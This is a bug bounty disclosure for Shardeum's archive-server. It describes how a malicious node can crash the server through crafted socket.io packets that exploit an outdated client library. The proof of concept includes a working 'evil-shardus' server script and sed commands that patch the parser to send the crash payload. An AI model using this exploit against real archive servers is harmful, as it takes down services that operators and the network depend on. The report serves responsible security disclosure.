Boost _ Shardeum_ Ancillaries 34298 - [Websites and Applications - Medium] archive-server can be kil
archive-server can be killed by connected shardus-instance
Submitted on Thu Aug 08 2024 15:15:27 GMT-0400 (Atlantic Standard Time) by @riproprip for Boost | Shardeum: Ancillaries
Report ID: #34298
Report type: Websites and Applications
Report severity: Medium
Target: https://github.com/shardeum/archive-server/tree/dev
Impacts:
Taking down the application/website
Description
Brief/Intro
On boot the archive-server
connects to a randomized shardus-instance
. This instance has the power to kill the process that runs the archive server.
Vulnerability Details
Archive-server is using an outdated socket.io-client. The old implementation has issues with specially crafted packets.
Since Archive-server does not do any special error handling the error in the socket.io-client can bubble up "uncatched" and kill the process.
Since the archive-server tries to randomly connect to a shardus-instance, it might not be a terrifying issue. Otoh I saw references in the documentation that archive servers should be rewarded for their service in the future, so there would be incentive to try to kill archive servers that you don't run ...
Proof of concept
Prepare
apt-get update
apt-get -y install git-core curl build-essential python3 vim
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
rustup install 1.74.1; rustup default 1.74.1
nvm install 18.16.1; nvm use 18.16.1
npm i -g node-gyp
create and start evil shardus-instance
In one terminal
Create folder
mkdir /tmp/net_attack
cd /tmp/net_attack
save as package.json
{
"dependencies": {
"engine.io-client": "~3.5.0",
"express": "^4.19.2",
"socket.io": "^2.5.1",
"socket.io-client": "^2.5.0"
}
}
save as evil-shardus.js
const PORT = 3030;
const app = require('express')();
const http = require('http').createServer(app);
const io = require('socket.io')(http, {cors: {origin: "*",methods: ["GET", "POST"]}});
io.on('connection', (socket) => {
console.log('A user connected', new Date());
socket.on('ARCHIVER_PUBLIC_KEY', (key) => {
console.log('ARCHIVER WITH KEY CONNECTED', key);
});
setTimeout(() => {
console.log('killing archiver', new Date());
socket.emit('doesnt', 'matter'); // this will be overriden by our encoder implementation
}, 60_000);
});
http.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
install packages and replace encoder with evil encoder
npm install
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-client/node_modules/socket.io-parser/index.js
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-parser/index.js
run evil shardus instance
node evil-shardus.js
run archiver
I could not find another script that made this easy. So just reusing the stuff I had for the other bugs ...
We will reuse the shardeum repo and the shardus start 10
to run an archiver. But before we run the archiver, we make sure it connects to the evil -shardus.js.
In another terminal
general setup
cd tmp
git clone https://github.com/shardeum/shardeum.git; cd shardeum; git switch dev
npm ci
npm install -g shardus
npm update @shardus/archiver
git apply debug-10-nodes.patch
npm run prepare
make sure that archiver connects to our evil implementation of a shardus-instance
sed -i 's/const socketClient = ioclient.connect(`http:\/\/${node\.ip}:${node\.port}`);/const socketClient = ioclient.connect(`http:\/\/${node\.ip}:3030`);/' ./node_modules/@shardus/archiver/build/Data/Data.js
run shardus
We run shardus, and observe our archive server disappear when the evil-shardus terminal prints "killing archiver". (60 second wait in current evil-shardus.js)
shardus start 10;
PID=$(ps -ef | grep "archiver/build/server.js" | tr -s " " | cut -f2 -d" " | head -n1);
watch -n2 "ps -ef | grep "$PID" | grep -v watch | grep node"
Last updated
Was this helpful?